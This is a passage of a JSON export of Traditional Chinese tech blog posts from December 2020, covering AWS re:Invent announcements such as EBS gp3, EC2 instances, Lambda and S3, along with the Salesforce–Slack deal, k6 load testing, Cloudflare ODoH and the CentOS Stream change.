的感覺)，現在這樣看起來又多了一些東西可以玩...？",
    "title": "Amazon EC2 推出 Mac Instance"
  },
  {
    "id": "9846",
    "body": "前陣子就有 <a href=\"https://www.salesforce.com/\">Salesforce</a> 要買下 <a href=\"https://slack.com/\">Slack</a> 的消息，剛剛確認了：「<a href=\"https://techcrunch.com/2020/12/01/salesforce-buys-slack/\">Salesforce buys Slack in a $27.7B megadeal</a>」。\r\n\r\n2019 年的時候花了 $15.3B 買下 <a href=\"https://www.tableau.com/\">Tableau</a> (<a href=\"https://www.cnbc.com/2019/06/10/salesforce-to-buy-tableau-software-in-an-all-stock-deal.html\">Salesforce bets on big data with $15.3 billion Tableau buy</a>)，這次則是 $27.7B...\r\n\r\n從維基百科上翻了一下 Salesforce 手上買過的公司，看起來只有 <a href=\"https://www.heroku.com/\">Heroku</a> 以及上面提到的 Tableau 比較熟悉...\r\n\r\n這次併購對於 Slack 的人來說應該是好事？畢竟股價先漲了一波... 另外 <a href=\"https://en.wikipedia.org/wiki/Stewart_Butterfield\">Stewart Butterfield</a> 不知道會再待多久，也許之後又會看到拉著 <a href=\"https://en.wikipedia.org/wiki/Cal_Henderson\">Cal Henderson</a> 再幹一波？",
    "title": "Salesforce 買下 Slack"
  },
  {
    "id": "9847",
    "body": "今年的 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 又開始了，不過因為疫情的關係，這次是線上為主... 這邊先來整理一下 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 相關的更新。\r\n\r\n首先是推出了新的 <code>gp3</code> 類型，也是 SSD 類：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ebs-gp3-volume-lets-you-provision-performance-separate-from-capacity-and-offers-20-lower-price/\">New – Amazon EBS gp3 Volume Lets You Provision Performance Apart From Capacity</a>」。\r\n\r\n每 GB 單位成本比 <code>gp2</code> 低 20%：\r\n\r\n<blockquote>Today I would like to tell you about gp3, a new type of SSD EBS volume that lets you provision performance independent of storage capacity, and offers a 20% lower price than existing gp2 volume types.</blockquote>\r\n\r\n然後直接給你 3000 IOPS 與 125MB/sec，有需要更高的話可以「加購」：\r\n\r\n<blockquote>gp3 is designed to provide predictable 3,000 IOPS baseline performance and 125 MiB/s regardless of volume size. It is ideal for applications that require high performance at a low cost such as MySQL, Cassandra, virtual desktops and Hadoop analytics. Customers looking for higher performance can scale up to 16,000 IOPS and 1,000 MiB/s for an additional fee. The top performance of gp3 is 4 times faster than max throughput of gp2 volumes.</blockquote>\r\n\r\n但照「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volume-types.html\">Amazon EBS volume types</a>」這邊的列表可以看到，要注意 <code>gp2</code> 可以 burst 的 throughput (250MB/sec) 比 <code>gp3</code> 的 baseline (125MB/sec) 高。\r\n\r\n也因為這樣，可以把一些 random access 比較多的 <code>/data</code> 這類的 EBS 換過去，但如果是要大量 sequential access 的也許就不適合了。\r\n\r\nIOPS 的部份，1TB 以下的 <code>gp2</code> 換過去應該是沒什麼太大問題，因為在 <code>gp2</code> 的時候是 1GB 給 3IOPS，所以 1TB 以下的 <code>gp2</code> 都低於 3000IOPS。\r\n\r\n轉移的部份可以在 AWS 的 console 上直接 migrate 到 <code>gp3</code>：\r\n\r\n<blockquote>If you’re currently using gp2, you can easily migrate your EBS volumes to gp3 using Amazon EBS Elastic Volumes, an existing feature of Amazon EBS. Elastic Volumes allows you to modify the volume type, IOPS, and throughput of your existing EBS volumes without interrupting your Amazon EC2 instances.</blockquote>\r\n\r\n像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pW0K1Sr.webp\" /><img src=\"https://i.gslin.com/imgur/pW0K1Sr.png\" alt=\"\" /></picture>\r\n\r\n但照「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volume-types.html\">Amazon EBS volume types</a>」這邊的列表，<del><code>gp3</code> 可以是開機硬碟</del>，但是改不過去啊 XDDD\r\n\r\n<code>Update</code>：剛剛發現文件被修正了，看起來不能當開機硬碟...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vyKSybC.webp\" /><img src=\"https://i.gslin.com/imgur/vyKSybC.png\" alt=\"\" /></picture>\r\n\r\n不知道哪邊搞錯了，過幾天看看吧 XDDD",
    "title": "Amazon EBS 推出了 gp3"
  },
  {
    "id": "9849",
    "body": "<a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 的另外一個新推出的東西，是針對 <code>io2</code> 的改善：\r\n\r\n<ul>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/now-in-preview-larger-faster-io2-ebs-volumes-with-higher-throughput/\">Now in Preview – Larger & Faster io2 Block Express EBS Volumes with Higher Throughput</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/about-aws/whats-new/2020/12/aws-quadruples-per-volume-maximum-capacity-and-performance-on-io2-volumes-in-preview/\">AWS quadruples per-volume maximum capacity and performance on io2 volumes (in preview)</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/about-aws/whats-new/2020/12/aws-announces-tiered-pricing-for-input-output-operations-per-second-iops-charges-for-amazon-elastic-block-store-ebs-io2-volume-reducing-the-cost-of-provisioning-peak-iops-by-15-percent/\">AWS announces tiered pricing for input/output operations per second (IOPS) charges for Amazon Elastic Block Store (EBS) io2 volume, reducing the cost of provisioning peak IOPS by 15%</a></li>\r\n</ul>\r\n\r\n前面兩則消息可以一起看，主要是推出了 EBS Block Express，有著效能上的提昇：\r\n\r\n<blockquote>Built on our new EBS Block Express architecture that takes advantage of some advanced communication protocols implemented as part of the AWS Nitro System, the volumes will give you up to 256K IOPS & 4000 MBps of throughput and a maximum volume size of 64 TiB, all with sub-millisecond, low-variance I/O latency. Throughput scales proportionally at 0.256 MB/second per provisioned IOPS, up to a maximum of 4000 MBps per volume. You can provision 1000 IOPS per GiB of storage, twice as many as before. The increased volume size & higher throughput means that you will no longer need to stripe multiple EBS volumes together, reducing complexity and management overhead.</blockquote>\r\n\r\n目前因為是 preview 階段，想要用的人需要申請測試。要注意目前支援的區域有限 (不像這次推出 <code>gp3</code> 的時候就是全區)，而且需要搭配 <code>r5b</code> 的機器：\r\n\r\n<blockquote>The preview is currently available in the US East (N. Virginia), US East (Ohio), US West (Oregon), Asia Pacific (Singapore), Asia Pacific (Tokyo), and Europe (Frankfurt) Regions. During the preview, we support the use of R5b instances, with support for other Nitro-powered instances in the works.</blockquote>\r\n\r\n第三則消息則是在講 <code>io2</code> 的 IOPS 的折扣，針對購買 32K IOPS 以上的部份會有 30% 折扣：\r\n\r\n<blockquote>Now, with the new tiered pricing structure, the first 32,000 IOPS provisioned on a volume are charged at the current base rate ($0.065 per provisioned IOPS-mo) and the second tier between 32,001 and 64,000 is charged at a 30% lower rate ($0.046 per provisioned IOPS-mo).</blockquote>\r\n\r\n針對前面提到的 preview 版本 (EBS Block Express)，因為可以超過 64K IOPS，這個部份的價錢會更低，再疊一次 30% 的折扣：\r\n\r\n<blockquote>Furthermore, for customers who have even higher performance requirement than currently supported by a single io2 volume today, we are previewing io2 volumes that run on EBS Block Express, the next generation of our block storage architecture. io2 Block Express volumes can be provisioned to deliver peak IOPS of 256,000. For these volume, any IOPS provisioned over 64,000 IOPS will be charged at a further 30% lower rate than the second tier ($0.032 per provisioned IOP-mo for IOPS over 64,000). This lowers the effective rate to $0.038 per provisioned IOPS on a volume provisioned with 256,000 IOPS.</blockquote>\r\n\r\n算是要衝效能的人用的，目前平常應該還是會用 <code>gp2</code> 或是 <code>gp3</code> 的 SSD...",
    "title": "Amazon EBS 的 io2 給了不少新消息..."
  },
  {
    "id": "9850",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 除了昨天放出 <a href=\"https://www.apple.com/mac-mini/\">Mac mini</a> 消息打頭陣以外，其他機種的更新消息也陸陸續續公佈了：\r\n\r\n<ul>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-r5b-instances-providing-3x-higher-ebs-performance/\">New – Amazon EC2 R5b Instances Provide 3x Higher EBS Performance</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/ec2-update-d3-d3en-dense-storage-instances/\">EC2 Update – D3 / D3en Dense Storage Instances</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/coming-soon-ec2-c6gn-instances-100-gbps-networking-with-aws-graviton2-processors/\">Coming Soon – EC2 C6gn Instances – 100 Gbps Networking with AWS Graviton2 Processors</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/new-ec2-m5zn-instances-fastest-intel-xeon-scalable-cpu-in-the-cloud/\">New EC2 M5zn Instances – Fastest Intel Xeon Scalable CPU in the Cloud</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-g4ad-instances-featuring-amd-gpus-for-graphics-workloads/\">Coming Soon – Amazon EC2 G4ad Instances Featuring AMD GPUs for Graphics Workloads</a></li>\r\n</ul>\r\n\r\n比較有趣的 (對我而言)，第一個是 <a href=\"https://www.arm.com/\">ARM</a> 架構的機器也推出 100Gbps 的 <code>n</code> 版本 <code>c6gn</code>，看起來很適合跑大流量的東西，馬上想到的就是自架的 <a href=\"https://www.memcached.org/\">memcached</a>？\r\n\r\n另外是 <code>m5zn</code>，使用高頻率的 <a href=\"https://www.intel.com/\">Intel</a> <a href=\"https://en.wikipedia.org/wiki/Xeon\">Xeon</a>，主打需要單核效率的程式，不過這是掛在 <code>m</code> 系列下，而不是 <code>c</code> 系列...\r\n\r\n再來是使用 <a href=\"https://www.amd.com/\">AMD</a> GPU 的 <code>g4ad</code>，官方宣稱跟 <a href=\"https://www.nvidia.com/\">NVIDIA</a> 的 <code>g4dn</code> 比起來，將會有 45% 的 C/P 值提昇，是個蘇媽跟老黃的對決：\r\n\r\n<blockquote>However, when compared to G4dn the new G4ad instances enable up to 45% better price performance for graphics-intensive workloads, including the aforementioned game streaming, remote graphics workstations, and rendering scenarios. Compared to an equally-sized G4dn instance, G4ad instances offer up to 40% improvement in performance.</blockquote>\r\n\r\n看起來 ARM 的消息沒有想像中的多...",
    "title": "Amazon EC2 的新機種：R5b、D3 (D3en)、C6gn、M5zn、G4ad"
  },
  {
    "id": "9851",
    "body": "這次 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 對 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 也更新了不少東西：\r\n\r\n<ul>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/new-for-aws-lambda-1ms-billing-granularity-adds-cost-savings/\">New for AWS Lambda – 1ms Billing Granularity Adds Cost Savings</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/new-for-aws-lambda-functions-with-up-to-10-gb-of-memory-and-6-vcpus/\">New for AWS Lambda – Functions with Up to 10 GB of Memory and 6 vCPUs</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/blogs/aws/new-for-aws-lambda-container-image-support/\">New for AWS Lambda – Container Image Support</a></li>\r\n</ul>\r\n\r\n首先是計價方式的改變，從本來 100ms 降到 1ms，對於這點 <a href=\"https://blog.clifflu.net/\">Cliff</a> 有提出來了，cold start 會是成本中很重的一環 (在 <a href=\"https://www.facebook.com/clifflu666/posts/10214677842380050\">https://www.facebook.com/clifflu666/posts/10214677842380050</a> 這邊)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lo8qlXj.webp\" /><img src=\"https://i.gslin.com/imgur/lo8qlXj.png\" alt=\"\" /></picture>\r\n\r\n不過從本來的 100ms 變成現在的 1ms 只會變便宜，如果本來 100ms 的價錢就可以接受的話，現在看起來沒有理由變差 (humm，心情例外)。\r\n\r\n會改變的是，以前可能不會想要對 cold start 最佳化 (因為做了還是收 100ms 的錢)，現在就可以考慮進去讓成本再降了。\r\n\r\n第二個是 lambda 的上限會變成 10GB RAM 與 6vCPU，剛好前幾天翻資料的時候，有翻到改版前的限制：「<a href=\"https://gist.github.com/saidsef/882647c6589e868b81f0cced4041b132\">lambda_cpu_cores.md</a>」，之前的上限是約 3GB 的記憶體與 2vCPU，現在拉起來讓你可以跑更大的東西...\r\n\r\n第三個是讓你可以自訂 container image，而不需要用 <a href=\"https://aws.amazon.com/\">AWS</a> 提供的標準 image 跑，這點對於降低 cold start 成本也蠻有幫助的，另外一方面，總算是可以對環境客製化了...\r\n\r\n裡面看起來最重要的應該還是第一個，計價方式讓整個成本評估大幅改變...",
    "title": "AWS Lambda 的消息：計費方式 1ms、上限變高、自訂 Image"
  },
  {
    "id": "9852",
    "body": "看到 <a href=\"https://aws.amazon.com/blogs/aws/amazon-s3-update-strong-read-after-write-consistency/\">Amazon S3</a> 宣佈 Strong Read-After-Write Consistency 了：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-s3-update-strong-read-after-write-consistency/\">Amazon S3 Update – Strong Read-After-Write Consistency</a>」。\r\n\r\n這個問題從很久前就被討論過：\r\n\r\n<ul>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2014/01/12/4126/netflix-%E5%B0%8D-s3-%E7%9A%84-eventually-consistency-%E7%9A%84%E8%A3%9C%E5%BC%B7/\">Netflix 對 S3 的 Eventually Consistency 的補強...</a></li>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2014/09/18/5089/emr-%E5%B0%8D-s3-consistency-%E7%9A%84%E8%A3%9C%E5%BC%B7/\">EMR 對 S3 Consistency 的補強</a></li>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/08/05/5902/amazon-s3-%E7%9A%84%E6%94%B9%E5%96%84/\">Amazon S3 的改善</a></li>\r\n</ul>\r\n\r\n所以到這次更新之前，只有新增的 object 會保證馬上出現。現在則是 update 也會：\r\n\r\n<blockquote>Effective immediately, all S3 GET, PUT, and LIST operations, as well as operations that change object tags, ACLs, or metadata, are now strongly consistent. What you write is what you will read, and the results of a LIST will be an accurate reflection of what’s in the bucket. This applies to all existing and new S3 objects, works in all regions, and is available to you at no extra charge! There’s no impact on performance, you can update an object hundreds of times per second if you’d like, and there are no global dependencies.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DZdPkao.webp\" /><img src=\"https://i.gslin.com/imgur/DZdPkao.png\" alt=\"\" /></picture>\r\n\r\n要注意這邊沒有提到 <code>DELETE</code>，所以有可能 <code>DELETE</code> + <code>GET</code> 的操作還是沒有到 strong consistency，不過句子本身意思不是很清晰，也許這幾天會有人在 forum 上面問然後有答案...\r\n\r\n另外從公告裡面提到 <a href=\"https://aws.amazon.com/emr/\">Amazon EMR</a> 團隊，看起來是 Amazon EMR 團隊一直在內部戳 Amazon S3 的團隊改善：\r\n\r\n<blockquote>We’ve been working with the Amazon EMR team and developers in the open-source community to ensure that customers can take advantage of this update with their big data workloads. As a result of that you no longer need to use EMRFS Consistent View or S3Guard, further reducing the cost to run big data workloads in AWS.</blockquote>",
    "title": "Amazon S3 現在變成 Strong Read-After-Write Consistency 啦..."
  },
  {
    "id": "9853",
    "body": "算是延伸產品線，把 <a href=\"https://aws.amazon.com/ecr/\">Amazon ECR</a> 變成可以公開使用：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-ecr-public-a-new-public-container-registry/\">Amazon Elastic Container Registry Public: A New Public Container Registry</a>」。\r\n\r\n這篇稍微有趣的地方是，文章裡面的上面這張圖有把 path 模糊化，但下面那張沒有遮，後面的文字也直接有提到 path (這是要給使用者玩的...)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/c6yfrVT.webp\" /><img src=\"https://i.gslin.com/imgur/c6yfrVT.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DkgacQH.webp\" /><img src=\"https://i.gslin.com/imgur/DkgacQH.jpg\" alt=\"\" /></picture>\r\n\r\nECR Public 會自動同步到兩個 region，但設定的頁面上好像沒寫會怎麼挑... 另外前面會放 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 加速。\r\n\r\n<blockquote>ECR Public automatically replicates container images across two AWS Regions to reduce download times and improve availability. Therefore, using public images directly from ECR Public may simplify your build process if you were previously creating and managing local copies. ECR Public caches image layers in Amazon CloudFront, to improve pull performance for a global audience, especially for popular images.</blockquote>\r\n\r\n費用的部份，意外的有提供一些免費的空間與頻寬可以用，算是在推廣嗎？",
    "title": "AWS 推出 Amazon Elastic Container Registry Public (公開版的 ECR)"
  },
  {
    "id": "9856",
    "body": "可以先參考「<a href=\"https://blog.gslin.org/archives/2020/12/02/9847/amazon-ebs-%e6%8e%a8%e5%87%ba%e4%ba%86-gp3/\">Amazon EBS 推出了 gp3</a>」這篇，但剛出來的時候大家都有發現無論是透過 <a href=\"https://aws.amazon.com/console/\">web console</a> 還是透過 <a href=\"https://aws.amazon.com/cli/\">awscli</a>，boot disk 都沒辦法改成 <code>gp3</code>，可是在官方的文件上又說可以用 <code>gp3</code>，所以就有人在 <a href=\"https://aws.amazon.com/\">AWS</a> 的 forum 上發問了：「<a href=\"https://forums.aws.amazon.com/thread.jspa?messageID=965414\">EBS GP3 Boot Volume Issues</a>」。\r\n\r\n直到剛剛發現已經可以改成 <code>gp3</code> 了... 一個一個手動改當然也是 OK，但對於有一卡車 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 要換的人來說鐵定得弄指令來換，這邊搭配了 <a href=\"https://stedolan.github.io/jq/\">jq</a> 一起改：\r\n\r\n<pre>aws ec2 describe-volumes | jq '.Volumes[] | select(.VolumeType == \"gp2\") | .VolumeId' | xargs -n1 -P4 env aws ec2 modify-volume --volume-type gp3 --volume-id</pre>\r\n\r\n這邊是把 <code>gp2</code> 都改成 <code>gp3</code>，沒有考慮到空間大小的問題 (因為超過 1TB 時 <code>gp2</code> 給的 IOPS 會比較多)，另外 <code>-P4</code> 是平行四個 process 跑，改起來會快一些...",
    "title": "Amazon EBS 的 gp3 可以用在開機磁碟了"
  },
  {
    "id": "9857",
    "body": "昨天把手上所有的 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 從 <code>gp2</code> 換到 <code>gp3</code> 了：「<a href=\"https://blog.gslin.org/archives/2020/12/04/9856/amazon-ebs-%e7%9a%84-gp3-%e5%8f%af%e4%bb%a5%e7%94%a8%e5%9c%a8%e9%96%8b%e6%a9%9f%e7%a3%81%e7%a2%9f%e4%ba%86/\">Amazon EBS 的 gp3 可以用在開機磁碟了</a>」，今天早上來看一下狀態，整體看起來是還 OK，不過有些地方值得注意的，像是標題寫到的 latency。\r\n\r\n我抓了跑 <a href=\"https://gitlab.com/\">GitLab</a> 的機器來看，可以很明顯看到讀寫的 latency 都變高了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VD32Ifi.webp\" /><img src=\"https://i.gslin.com/imgur/VD32Ifi.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8bIfnMa.webp\" /><img src=\"https://i.gslin.com/imgur/8bIfnMa.png\" alt=\"\" /></picture>\r\n\r\n但 <a href=\"https://aws.amazon.com/\">AWS</a> 又有提到這些數字資料有經過轉換，看起來是 <code>gp2</code> 與 <code>gp3</code> 的數字意義本來就不一樣，所以他必須想辦法轉換，所以也有可能是因為這個轉換導致的？\r\n\r\n<blockquote>This graph has had transformations applied to it and will differ from what is natively found in CloudWatch. Due to this some functionality is reduced.</blockquote>\r\n\r\n不過其他的數字倒是沒什麼變化，系統的負荷量其實也還好，就先丟著跑...",
    "title": "gp3 (Amazon EBS) 的 latency"
  },
  {
    "id": "9858",
    "body": "這幾天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://loadimpact.com/\">Load Impact</a> 推出的 <a href=\"https://k6.io/\">k6</a> 壓測程式，結合了 <a href=\"https://golang.org/\">Golang</a> 的執行效率與 JavaScript 的操作語法，讓使用者可以很簡單的進行壓力測試，在 Hacker News 上也有蠻正向的反應：「<a href=\"https://news.ycombinator.com/item?id=25234746\">K6: Like unit testing, for performance (github.com/loadimpact)</a>」，我唯一會在意的應該是 <a href=\"https://en.wikipedia.org/wiki/GNU_Affero_General_Public_License\">AGPLv3</a> 的部份...\r\n\r\n先看了一下資訊，看起來「Load Impact」是公司名稱，「LoadImpact」則是產品名稱，然後現在要改名變成「k6」與「k6 Cloud」：\r\n\r\n<blockquote>Load Impact is now k6\r\n\r\nDue to the success and rapid growth of the k6 open source load testing tool we decided to rebrand the LoadImpact product as k6 Cloud!</blockquote>\r\n\r\nk6 裡面設計了 VU (Virtual User) 的概念，如同字面上的意義，VU 是虛擬的使用者，就技術上來說，每個 VU 都是在獨立的 JavaScript runtime 裡跑：\r\n\r\n<blockquote>Each virtual user (VU) executes your script in a completely separate JavaScript runtime, parallel to all of the other running VUs.</blockquote>\r\n\r\n然後他們居然把 JavaScript 裡面最「經典」的 async 架構給拔了，所以就不需要一堆 callback &amp; promise 架構，用起來就爽很多：\r\n\r\n<blockquote>For simplicity, unlike many other JavaScript runtimes, a lot of the operations in k6 are synchronous. That means that, for example, the let response = http.get(\"https://test-api.k6.io/\") call from the Running k6 example script will block the VU execution until the HTTP request is completed, save the response information in the response variable and only then continue executing the rest of the script - no callbacks and promises needed.</blockquote>\r\n\r\n翻了一下 Hacker News 上的討論與程式碼，看起來 JavaScript runtime 這部份是用 Golang 寫的 <a href=\"https://github.com/dop251/goja\">goja</a>。\r\n\r\n文件裡面給了不少範例，像是在「<a href=\"https://k6.io/docs/getting-started/running-k6\">Running k6</a>」這邊有直接給出怎麼壓測，10 個 VU 跑 30 秒：\r\n\r\n<pre>k6 run --vus 10 --duration 30s script.js</pre>\r\n\r\n另外在 repository 裡面，「<a href=\"https://github.com/loadimpact/k6/tree/master/samples\">samples</a>」這個目錄下有不少範例，可以直接先看過一次從裡面學到不少功能，之後再回去翻一次 manual，應該就會更熟悉...\r\n\r\n隨便測了一下還蠻容易上手的，加上有 apt repository 可以直接納入系統管理，看起來應該會放著跑，之後找機會用看看，也許打 API 之類的...",
    "title": "Load Impact 的 k6 網站壓測軟體"
  },
  {
    "id": "9859",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://labzilla.io/blog/force-dns-pihole\">Your Smart TV is probably ignoring your PiHole</a>」，裡面提到了很多遊戲主機並不會依照從 <a href=\"https://en.wikipedia.org/wiki/DHCP\">DHCP</a> 拿到的 DNS 設定使用，而是直接設死：\r\n\r\n<blockquote>Nearly 70% of smart TVs and 46% of game consoles were found to contain hardcoded DNS settings - allowing them to simply ignore your local network’s DNS server entirely. On average, Smart TVs generate an average of 60 megabytes of outgoing Internet traffic per day, all the while bypassing tools like PiHole.</blockquote>\r\n\r\n裡面提到的論文是「<a href=\"https://arxiv.org/abs/2001.08288\">Characterizing Smart Home IoT Traffic in the Wild</a>」這篇，裡面分析了不同種類的裝置 DNS 的狀況，以及 HTTP/HTTPS 的比率：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Zus42Er.webp\" /><img src=\"https://i.gslin.com/imgur/Zus42Er.png\" alt=\"\" /></picture>\r\n\r\n回到原來的文章，裡面提到了用 NAT 的方式把 <code>1.1.1.1</code> 的 TCP/UDP Port 53 導到 <a href=\"https://pi-hole.net/\">Pi-hole</a> 上面過濾，這樣看起來還行，下面的 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a> 與 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> 因為走其他特定的 TCP port，應該是不受影響...",
    "title": "Smart TV 與遊戲主機的 DNS 經常是設死的"
  },
  {
    "id": "9861",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 ODoH (目前是 <a href=\"https://www.ietf.org/\">IETF</a> 的 draft：「<a href=\"https://tools.ietf.org/html/draft-pauly-dprive-oblivious-doh-03\">Oblivious DNS Over HTTPS</a>」)：「<a href=\"https://blog.cloudflare.com/oblivious-dns/\">Improving DNS Privacy with Oblivious DoH in 1.1.1.1</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面也有討論：「\t<a href=\"https://news.ycombinator.com/item?id=25344358\">Improving DNS Privacy with Oblivious DoH (cloudflare.com)</a>」\r\n\r\n基本上就是 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> 在上面架一層 Proxy，但這層 Proxy 不能是 Cloudflare 自己：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ltahrTI.webp\" /><img alt=\"\" src=\"https://i.gslin.com/imgur/ltahrTI.png\" /><picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pEUBidz.webp\" /><img alt=\"\" src=\"https://i.gslin.com/imgur/pEUBidz.png\" /></picture>\r\n\r\n這樣一來 Cloudflare 知道 IP address 的機會就會比較小，藉以達到要求，先前要達到這樣的效果必須透過 ISP 提供的 HTTP/HTTPS Proxy (像是已經淘汰的 <code>proxy.hinet.net</code>：「<a href=\"https://blog.gslin.org/archives/2018/09/17/8491/hinet-%E5%AE%A3%E4%BD%88%E5%B9%B4%E5%BA%95%E9%97%9C%E9%96%89-proxy-%E6%9C%8D%E5%8B%99/\">HiNet 宣佈年底關閉 Proxy 服務</a>」)，或是透過 <a href=\"https://www.torproject.org/\">Tor</a>，但 Tor 的效能會讓 query 速度慢不少。這次的這個服務的確是好不少...\r\n\r\n技術上來說，當 Cloudflare 與 ISP 都把所有的 packet 記錄下來後，兩邊合作還是可以取得原始的 IP 資訊，以這個例子來說，你跟總部在香港的 <a href=\"https://en.wikipedia.org/wiki/PCCW\">PCCW</a> 集團合作，看起來就不怎麼吸引人啊...\r\n\r\n不過隔壁棚的 <a href=\"https://www.google.com/\">Google</a> 則是讓人吐血中，打算用 Prefetch 名義看到你的 HTTPS 流量：「<a href=\"https://blog.chromium.org/2020/12/continuing-our-journey-to-bring-instant.html\">Continuing our journey to bring instant experiences to the whole web</a>」，這樣一來，就有不少的機會 Google 可以分析出來使用者在看什麼 <a href=\"https://www.netflix.com/\">Netflix</a> 影片了 (要看 Prefetch 到什麼程度，2017 年的時候做出來有 99.99% 的準確度)：「<a href=\"https://blog.gslin.org/archives/2017/04/16/7248/%E5%88%A9%E7%94%A8-side-channel-%E8%B3%87%E8%A8%8A%E5%88%A4%E6%96%B7%E8%A2%AB-https-%E4%BF%9D%E8%AD%B7%E7%9A%84-netflix-%E5%BD%B1%E7%89%87%E8%B3%87%E8%A8%8A/\">利用 Side-channel 資訊判斷被 HTTPS 保護的 Netflix 影片資訊</a>」。\r\n\r\n來坐著等看 Google 這邊的好戲...",
    "title": "Cloudflare 與 ISP 合作推出 ODoH 加強隱私，然後 Google 想要看 HTTPS 流量"
  },
  {
    "id": "9872",
    "body": "讓不少團隊要炸的消息，<a href=\"https://centos.org/\">CentOS</a> 將會被消滅變成 CentOS Stream：「<a href=\"https://blog.centos.org/2020/12/future-is-centos-stream/\">CentOS Project shifts focus to CentOS Stream</a>」與「<a href=\"https://www.redhat.com/en/blog/centos-stream-building-innovative-future-enterprise-linux\">CentOS Stream: Building an innovative future for enterprise Linux</a>」。\r\n\r\n很多團隊用 CentOS 的主要原因就是因為他基本上就是個 <a href=\"https://en.wikipedia.org/wiki/Red_Hat_Enterprise_Linux\">RHEL</a> 重新打包的版本，一來更新速度沒有很快 (所以穩定不少，跑得好好的就不要動他最穩...)，二來很多商用軟體都可以在支援 RHEL 時「順便」支援 CentOS。\r\n\r\n再來是考慮到他有超級長的支援期，像是 2011 年推出的 CentOS 6 到上個月月底 (2020/11/30) 才終止支援，相較於 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> LTS 提供的五年來說長很多。\r\n\r\n所以兩邊都有選擇的理由 (以及族群)，一邊是追求穩定性，一邊是有新技術的需求。\r\n\r\n不過 <a href=\"https://www.ibm.com/\">IBM</a> 在 2018 年收購 <a href=\"https://en.wikipedia.org/wiki/Red_Hat\">Red Hat</a> 後看起來對這件事情有很不一樣的看法：決定要收掉 CentOS，然後借屍還魂叫做 CentOS Stream，上面開始會有與 RHEL 不同的東西。\r\n\r\n<blockquote>When CentOS Linux 8 (the rebuild of RHEL8) ends, your best option will be to migrate to CentOS Stream 8, which is a small delta from CentOS Linux 8, and has regular updates like traditional CentOS Linux releases.</blockquote>\r\n\r\n所以接下來還有支援的兩個版本，分別是 2014 年出的 CentOS 7，將照原訂的 10 年計畫支援到 2024/06/30，以及 2019 年出的 CentOS 8，就只會支援到 2021/12/31 了。\r\n\r\n翻了一下 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論，先不講幹聲一片的問題，看起來原來建立 CentOS 的 <a href=\"https://gmkurtzer.github.io/\">Gregory Kurtzer</a> 決定出來再幹一次：「<a href=\"https://news.ycombinator.com/item?id=25354811\">Original CentOS founder intends to create new fork of RHEL (rockylinux.org)</a>」。\r\n\r\n來看看後續社群會怎麼玩吧...",
    "title": "CentOS 將會變成 CentOS Stream"
  },
  {
    "id": "9874",
